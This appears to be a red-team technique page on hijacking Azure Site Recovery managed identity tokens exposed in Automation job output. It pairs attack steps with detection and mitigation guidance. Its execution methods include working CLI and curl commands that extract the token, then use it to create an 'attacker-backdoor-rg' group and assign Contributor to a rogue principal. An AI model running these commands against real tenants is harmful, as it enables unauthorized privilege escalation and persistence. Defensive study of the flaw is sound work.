MCADDF

[LM-AUTH-022]: Azure Site Recovery Token Hijacking

Metadata

Attribute Details
Technique ID LM-AUTH-022
MITRE ATT&CK v18.1 T1550 - Use Alternate Authentication Material
Tactic Lateral Movement
Platforms Entra ID, Azure Hybrid Environments
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2024-04-29
Affected Versions Azure Site Recovery (ASR) deployments with Extension Auto-Update enabled (all versions prior to February 2024 patch)
Patched In February 13, 2024 (Microsoft remediation released)
Author SERVTEP – Artur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Azure Site Recovery (ASR) automatically creates a hidden Automation Account with a System-Assigned Managed Identity to manage extension updates on enrolled Virtual Machines. When Extension Auto-Update is enabled, ASR executes a hidden Runbook that exposes cleartext access tokens in Job output logs. An attacker with Reader or similar lower-privileged roles can extract these tokens and impersonate the Managed Identity, which carries Contributor permissions over the entire subscription. This enables unrestricted lateral movement within Azure, resource manipulation, and credential theft.

Attack Surface: Azure portal Job output logs within Automation Accounts created by ASR; accessible to any user with /read or Microsoft.Automation/automationAccounts/jobs/output/read permissions.

Business Impact: Privilege escalation from Reader to Subscription Contributor. An attacker can create persistent backdoors, steal encryption keys, deploy malicious workloads, exfiltrate data, or disrupt disaster recovery infrastructure.

Technical Context: The vulnerability exists because ASR’s Runbook Job output was visible in the Azure Portal even though the Runbook itself is hidden. Extraction takes seconds; the token is valid until the Managed Identity credentials rotate (typically 24+ hours). Detection is difficult because the activity appears as routine ASR automation.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.23 Managed identities should be used for authentication to Azure services; Automation Account roles should follow least privilege
DISA STIG V-252998 Role-Based Access Control (RBAC) must be configured with minimum necessary privileges
CISA SCuBA AC-3 Access Enforcement - Restrict system access to authorized users and roles only
NIST 800-53 AC-3, AC-6 Access Enforcement, Least Privilege
GDPR Art. 32 Security of Processing - Implement appropriate access controls and identity management
DORA Art. 9 Protection and Prevention - Secure authentication and authorization mechanisms
NIS2 Art. 21 Cyber Risk Management Measures - Implement authentication and access controls
ISO 27001 A.9.2.3 Management of Privileged Access Rights - Control and monitor privileged access
ISO 27005 Risk Scenario “Exposure of administrative credentials or tokens stored in logs”

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:

3. DETAILED EXECUTION METHODS

METHOD 1: Azure Portal (GUI Enumeration and Token Extraction)

Supported Versions: All Azure Site Recovery versions (prior to Feb 2024 patch)

Step 1: Enumerate Automation Accounts Created by ASR

Objective: Discover ASR-created Automation Accounts that manage Site Recovery extensions.

Command (Azure Portal):

  1. Navigate to Azure Portal → Automation Accounts
  2. Look for accounts with naming pattern: {VaultName}-asr-automationaccount (e.g., blogASR-c99-asr-automationaccount)
  3. Note the Resource Group and Automation Account name

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Inspect Job Output for Cleartext Access Tokens

Objective: Extract the cleartext Managed Identity access token from hidden Runbook Job output.

Command (Azure Portal - Step-by-Step):

  1. In the Automation Account, navigate to Process Automation → Jobs (left sidebar)
  2. Look for Job names matching:
    • MS-SR-Update-MobilityServiceForA2AVirtualMachines
    • MS-ASR-Modify-AutoUpdateForA2AVirtualMachines
  3. Click on the most recent Job
  4. In the Job details pane, click Output (near the top)
  5. View the JSON output; search for "token" or "access_token"
  6. Copy the full token string (may be truncated in Portal view)

Expected Output:

{
  "authentication": {
    "type": "ManagedIdentity",
    "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkN0VHVoTUifQ.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzAzZjY2ZTM3LWRlZjAtNDMzYS1hMDQ1LWE1ZWY5Njc0ZGQyNi8iLCJpYXQiOjE3MTM2Mzk0ODUsIm5iZiI6MTcxMzYzOTQ4NSwiZXhwIjoxNzEzNzI2Mjg1LCJhaW8iOiJBWlFBIi9lLlVJSjRiSWRBTklsNWZ6LnpWMnAxzldVRnlUWjc4eWVqTVdMQUhVSXRZZ1xufQ.Xdv9Bcp...",
    "objectId": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
    "subscriptionId": "/subscriptions/12345678-1234-1234-1234-123456789012"
  }
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Validate Token and Identify Target Resources

Objective: Confirm token validity and enumerate high-value resources accessible via the Managed Identity.

Command (Azure CLI):

# Decode the JWT token to verify claims
jwt_token="<PASTE_TOKEN_FROM_STEP_2>"
echo $jwt_token | cut -d'.' -f2 | base64 -d | jq .

# Example output:
# {
#   "aud": "https://management.azure.com/",
#   "iss": "https://sts.windows.net/03f66e37-def0-433a-a045-a5ef9674dd26/",
#   "iat": 1713639485,
#   "nbf": 1713639485,
#   "exp": 1713726285,
#   "appid": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
#   "appidactsid": "1",
#   "oid": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
#   "sub": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
#   "tid": "03f66e37-def0-433a-a045-a5ef9674dd26",
#   "uti": "Xdv9BcpAR0OQnrx5zV2p1zQ",
#   "ver": "1.0"
# }

# List all resources accessible to the Managed Identity
curl -H "Authorization: Bearer $jwt_token" \
     "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .

Expected Output:

{
  "value": [
    {
      "id": "/subscriptions/12345678-1234-1234-1234-123456789012",
      "subscriptionId": "12345678-1234-1234-1234-123456789012",
      "tenantId": "03f66e37-def0-433a-a045-a5ef9674dd26",
      "displayName": "Production Subscription",
      "state": "Enabled",
      "subscriptionPolicies": {...}
    }
  ]
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

METHOD 2: Azure CLI (Automated Token Extraction)

Supported Versions: Azure CLI 2.0+ with automation extension

Step 1: Authenticate and Set Context

Objective: Establish authenticated session to Azure subscription.

Command:

# Login to Azure (interactive browser)
az login

# Set subscription context
az account set --subscription "12345678-1234-1234-1234-123456789012"

# Verify authentication
az account show

Expected Output:

{
  "environmentName": "AzureCloud",
  "homeTenantId": "03f66e37-def0-433a-a045-a5ef9674dd26",
  "id": "12345678-1234-1234-1234-123456789012",
  "isDefault": true,
  "name": "Production Subscription",
  "state": "Enabled",
  "tenantId": "03f66e37-def0-433a-a045-a5ef9674dd26",
  "user": {
    "name": "attacker@company.onmicrosoft.com",
    "type": "user"
  }
}

OpSec & Evasion:

Troubleshooting:

Step 2: Discover ASR Automation Accounts

Objective: Query all Automation Accounts and filter for ASR-created ones.

Command:

# List all Automation Accounts in subscription
az automation account list --query "[].{Name:name, ResourceGroup:resourceGroup, Location:location}" --output table

# Filter for ASR-specific accounts
az automation account list --query "[?contains(name, 'asr')].{Name:name, ResourceGroup:resourceGroup}" --output table

# Get details of specific ASR Automation Account
asr_account="blogASR-c99-asr-automationaccount"
asr_rg="production-rg"
az automation account show --resource-group $asr_rg --name $asr_account

Expected Output:

Name                              ResourceGroup     Location
-----------------------------------  ----------------  ----------
blogASR-c99-asr-automationaccount    production-rg     eastus

What This Means:

Step 3: Extract Job Output with Cleartext Token

Objective: Retrieve full (untruncated) access token from Runbook Job output.

Command:

asr_account="blogASR-c99-asr-automationaccount"
asr_rg="production-rg"

# List all jobs in the Automation Account
az automation job list --resource-group $asr_rg --automation-account-name $asr_account \
  --query "[].{JobId:id, Name:name, Status:status, CreatedTime:createdTime}" --output table

# Get the most recent job
latest_job=$(az automation job list --resource-group $asr_rg --automation-account-name $asr_account \
  --query "sort_by([*], &createdTime)[-1].id" -o tsv)

# Retrieve full job output (including cleartext token)
az automation job-stream list --resource-group $asr_rg --automation-account-name $asr_account \
  --job-id $(basename $latest_job) --output json | jq '.[] | select(.streamType=="Output")'

Expected Output:

{
  "id": "/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/production-rg/providers/Microsoft.Automation/automationAccounts/blogASR-c99-asr-automationaccount/jobs/12345678-abcd-1234-5678-123456789012/streams/12345678-abcd-1234-5678-123456789012",
  "creationTime": "2024-04-29T10:23:45.123456Z",
  "jobId": "12345678-abcd-1234-5678-123456789012",
  "runbookName": "MS-SR-Update-MobilityServiceForA2AVirtualMachines",
  "streamType": "Output",
  "text": "{\"authentication\": {\"type\": \"ManagedIdentity\", \"token\": \"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkN0VHVoTUifQ.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzAzZjY2ZTM3LWRlZjAtNDMzYS1hMDQ1LWE1ZWY5Njc0ZGQyNi8iLCJpYXQiOjE3MTM2Mzk0ODUsIm5iZiI6MTcxMzYzOTQ4NSwiZXhwIjoxNzEzNzI2Mjg1LCJhaW8iOiJBWlFBIi9lLlVJSjRiSWRBTklsNWZ6LnpWMnAxzldVRnlUWjc4eWVqTVdMQUhVSXRZZ1xufQ.Xdv9BcpAR0OQnrx5zV2p1zWwk7yUJKL9hM2nQ3rT4sZ...\"}"
}

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Use Token for Lateral Movement

Objective: Authenticate as the Managed Identity to access and manipulate Azure resources.

Command:

# Extract token from job output (Python one-liner)
token=$(az automation job-stream list --resource-group $asr_rg --automation-account-name $asr_account \
  --job-id $(basename $latest_job) --output json | jq -r '.[] | select(.streamType=="Output") | .text' | \
  python3 -c "import sys, json; print(json.load(sys.stdin)['authentication']['token'])")

# Example: List all VMs in the subscription (as the Managed Identity)
curl -s -H "Authorization: Bearer $token" \
     "https://management.azure.com/subscriptions/12345678-1234-1234-1234-123456789012/providers/Microsoft.Compute/virtualMachines?api-version=2023-03-01" | jq '.value[].{name:.name, location:.location, vmId:.id}'

# Example: Create a new resource group (persistence backdoor)
curl -s -X PUT \
     -H "Authorization: Bearer $token" \
     -H "Content-Type: application/json" \
     -d '{"location":"eastus"}' \
     "https://management.azure.com/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/attacker-backdoor-rg?api-version=2021-04-01"

# Example: Assign Contributor role to a rogue service principal
curl -s -X PUT \
     -H "Authorization: Bearer $token" \
     -H "Content-Type: application/json" \
     -d '{
       "properties": {
         "roleDefinitionId": "/subscriptions/12345678-1234-1234-1234-123456789012/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c",
         "principalId": "00000000-0000-0000-0000-000000000000"
       }
     }' \
     "https://management.azure.com/subscriptions/12345678-1234-1234-1234-123456789012/providers/Microsoft.Authorization/roleAssignments/$(uuidgen)?api-version=2021-04-01-preview"

Expected Output:

{
  "value": [
    {
      "id": "/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/production-rg/providers/Microsoft.Compute/virtualMachines/prod-vm-001",
      "name": "prod-vm-001",
      "type": "Microsoft.Compute/VirtualMachine",
      "location": "eastus",
      "properties": {...}
    }
  ]
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

5. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Immediate Containment: 
    # Revoke Managed Identity role assignment
$managedIdentityId = "f47ac10b-58cc-4372-a567-0e02b2c3d479"  # From token's 'oid' claim
$subscriptionId = "12345678-1234-1234-1234-123456789012"
   
Remove-AzRoleAssignment -ObjectId $managedIdentityId -RoleDefinitionName "Contributor" -Scope "/subscriptions/$subscriptionId"
  2. Detect Unauthorized Access: 
    # KQL query for Microsoft Sentinel
AzureActivity
| where OperationName == "MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE"
| where InitiatedBy.user.id == "f47ac10b-58cc-4372-a567-0e02b2c3d479"
| where TimeGenerated > ago(24h)
  3. Investigate Damage:
    • Query Activity Log for all operations performed by the Managed Identity in the past 30 days
    • Search for resource creation, deletion, or modification outside maintenance windows
    • Review Key Vault access logs for secrets/keys retrieved
  4. Remediation:
    • Disable Extension Auto-Update on affected ASR deployments (Microsoft disabled by default post-Feb 2024)
    • Rotate subscription-level secrets and API keys
    • Reset passwords for all Global Admins
    • Review and revoke suspicious role assignments
  5. Long-Term Hardening:
    • Implement Privileged Identity Management (PIM) for all administrative roles
    • Enforce Conditional Access policies restricting service principal access
    • Monitor Automation Account job output for cleartext secrets (alerting on sensitive patterns)
Step Phase Technique Description
1 Initial Access [IA-VALID-001] Default Credential Exploitation Attacker gains initial Reader role via inherited permissions or weak account
2 Privilege Escalation [LM-AUTH-022] Extract ASR Managed Identity token from Job output; escalate to Contributor
3 Persistence [CA-UNSC-008] Azure Storage Account Key Theft Use Contributor token to extract storage account keys; create backdoor function apps
4 Defense Evasion [CA-TOKEN-007] Managed Identity Token Theft Compromise application MSI for continued access independent of ASR lifecycle
5 Impact Data exfiltration or ransomware deployment via compromised VMs  

7. REAL-WORLD EXAMPLES

Example 1: NetSPI Security Research (April 2024)

8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Disable Extension Auto-Update on ASR Deployments:

ASR deployments with Extension Auto-Update enabled are vulnerable. Disabling this feature prevents creation of the vulnerable Automation Account.

Manual Steps (Azure Portal):

  1. Navigate to Azure Portal → Recovery Services Vaults
  2. Select the affected vault
  3. Go to Replicated Items (left menu)
  4. Select a replicated VM
  5. Click Properties (right pane)
  6. Scroll to Mobility Service section
  7. Toggle Enable automatic updates to Off
  8. Click Save

Manual Steps (PowerShell):

# Disable auto-update for all replicated VMs in a vault
$vault = Get-AzRecoveryServicesVault -ResourceGroupName "production-rg" -Name "prod-recovery-vault"
Set-AzRecoveryServicesAsrVaultContext -Vault $vault

Get-AzRecoveryServicesAsrReplicationProtectedItem | ForEach-Object {
    Set-AzRecoveryServicesAsrReplicationProtectedItem -InputObject $_ -UpdateReplicationAgent $false
}

Validation Command:

# Verify auto-update is disabled
Set-AzRecoveryServicesAsrVaultContext -Vault $vault
Get-AzRecoveryServicesAsrReplicationProtectedItem | Select-Object Name, ReplicationHealth, ProtectionState, @{Name="AutoUpdateEnabled";Expression={$_.Properties.UpdateReplicationAgentExpectedVersion -ne $null}}

Expected Output (If Secure):

Name              ReplicationHealth ProtectionState AutoUpdateEnabled
----              -------- --------------- -----------------
prod-vm-001       Normal            Protected       False
prod-vm-002       Normal            Protected       False

Restrict Automation Account Role Scope:

If Extension Auto-Update must remain enabled, restrict the Managed Identity to minimal necessary permissions.

Manual Steps (Azure Portal):

  1. Go to Automation Accounts → Select ASR account
  2. Click Identity (left menu)
  3. Under Role assignments, find the Contributor role assignment
  4. Click the X to remove Contributor role
  5. Click Add role assignment
  6. Set Role to “Virtual Machine Contributor” (minimal scope)
  7. Set Scope to specific resource groups containing replicated VMs only
  8. Click Save

Validation Command:

$managedIdentityId = "f47ac10b-58cc-4372-a567-0e02b2c3d479"
Get-AzRoleAssignment -ObjectId $managedIdentityId | Select-Object RoleDefinitionName, Scope

Expected Output (If Secure):

RoleDefinitionName             Scope
------------------             -----
Virtual Machine Contributor    /subscriptions/.../resourceGroups/production-vms

Priority 2: HIGH

Enforce Conditional Access for Service Principals:

Restrict service principal API calls to specific IP ranges and disable interactive sign-in.

Manual Steps (Azure Portal):

  1. Navigate to Entra ID → Security → Conditional Access
  2. Click + New policy
  3. Name: Block Service Principal Interactive Sign-In
  4. Assignments → Users/Groups/Roles:
    • Select Directory roles
    • Choose No roles selected (service principals only)
  5. Conditions:
    • Client apps: Select “Other clients”
    • Authentication context: (Leave blank)
  6. Access Control:
    • Select Block access
  7. Enable policy: Toggle to On
  8. Click Create

Enable Audit Logging for Automation Accounts:

Log all Job output access for forensic analysis.

Manual Steps (Azure Portal):

  1. Go to Automation Accounts → Select ASR account
  2. Click Settings → Diagnostic settings
  3. Click + Add diagnostic setting
  4. Name: audit-job-output
  5. Logs: Check JobStreams and JobOutput
  6. Destination: Select Log Analytics workspace or Storage account
  7. Click Save

PowerShell Configuration:

$vault = Get-AzRecoveryServicesVault -Name "prod-recovery-vault"
$workspace = Get-AzOperationalInsightsWorkspace -ResourceGroupName "security-rg" -Name "sentinel-workspace"

New-AzDiagnosticSetting -ResourceId "$vault.id/providers/Microsoft.Automation/automationAccounts/asr-account" `
  -Name "audit-job-output" `
  -WorkspaceId $workspace.ResourceId `
  -Enabled $true `
  -Category JobStreams, JobOutput

9. DEFENSIVE DETECTIONS (Microsoft Sentinel/KQL)

Detection Rule 1: Reader User Accessing ASR Job Output

Severity: High

KQL Query:

AzureActivity
| where OperationName == "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/JOBS/OUTPUT/READ"
| where CallerIpAddress != "40.74.28.0/24"  // Microsoft internal IP range - adjust as needed
| project TimeGenerated, Caller, CallerIpAddress, ResourceGroup, OperationName, ResourceProvider
| join kind=inner (
    AzureActivity
    | where OperationName =~ "MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/READ"
    | project Caller
    | distinct Caller
  ) on Caller

What This Detects: A user with Reader role (or similar low-privilege role) accessing hidden ASR Job output containing tokens.

Manual Configuration (Azure Portal):

  1. Navigate to Microsoft Sentinel → Analytics
  2. Click + Create → Scheduled query rule
  3. General Tab:
    • Name: ASR Token Extraction Detection
    • Severity: High
    • Description: Detects low-privilege users reading ASR Job output containing cleartext tokens
  4. Set Rule Logic Tab:
    • Paste the KQL query above
    • Frequency: Every 5 minutes
    • Lookback period: 1 hour
  5. Incident Settings:
    • Enable Create incidents
    • Group related alerts: On (by Caller)
  6. Click Review + create

Detection Rule 2: ASR Managed Identity Unauthorized API Calls

Severity: Critical

KQL Query:

AzureActivity
| where InitiatedBy.user.id == "f47ac10b-58cc-4372-a567-0e02b2c3d479"  // ASR MSI object ID
| where OperationName !in ("MICROSOFT.COMPUTE/VIRTUALMACHINES/READ", 
                           "MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/READ",
                           "MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE")  // Normal ASR operations
| where ActivityStatus == "Success"
| project TimeGenerated, OperationName, ResourceGroup, Resource, ActivityStatus, Caller

What This Detects: The ASR Managed Identity performing operations outside its normal scope (extension management).

10. WINDOWS EVENT LOG MONITORING

Not applicable – This is a cloud-only attack with no on-premises event log indicators.

11. SYSMON DETECTION PATTERNS

Not applicable – This is a cloud-only attack with no endpoint-level indicators.

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Service Principal Suspicious Activity

Alert Name: Service Principal performing unusual role assignment operations

Manual Configuration (Enable Defender for Cloud):

  1. Navigate to Azure Portal → Microsoft Defender for Cloud
  2. Go to Environment settings → Select your subscription
  3. Under Defender plans, toggle:
    • Defender for Servers: ON
    • Defender for Identity: ON
    • Defender for Storage: ON
  4. Click Save
  5. Go to Security alerts to view triggered detections

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Service Principal Token Access and Usage

# Connect to Exchange Online (required for audit log access)
Connect-ExchangeOnline

# Search for ASR Automation Account operations
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
  -Operations "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/JOBS/OUTPUT/READ" `
  -FreeText "asr-automationaccount" | 
  Select-Object UserIds, CreationDate, Operations, ResourceId | 
  Export-Csv -Path "C:\Evidence\asr-token-access.csv"

# Search for Automation Account job creation/execution
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) `
  -AuditLogRecordType AzureActivity `
  -Operations "CreateJob", "UpdateJob" |
  Export-Csv -Path "C:\Evidence\asr-job-operations.csv"

Manual Configuration (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for audit log retention to activate
  5. Use the search form to query for ASR-related operations

14. SUMMARY OF TECHNICAL DETAILS

This technique exploits a design flaw in Azure Site Recovery’s Extension Auto-Update feature, where cleartext Managed Identity tokens are exposed in Automation Account Job output logs. The vulnerability allows any user with Reader or equivalent permissions to extract tokens granting Contributor access over the entire subscription, enabling unrestricted lateral movement and resource manipulation. The attack requires minimal effort, leaves minimal forensic traces, and was only patched in February 2024, leaving many legacy deployments vulnerable.

Key Indicators for Defenders:

This site is open source. Improve this page.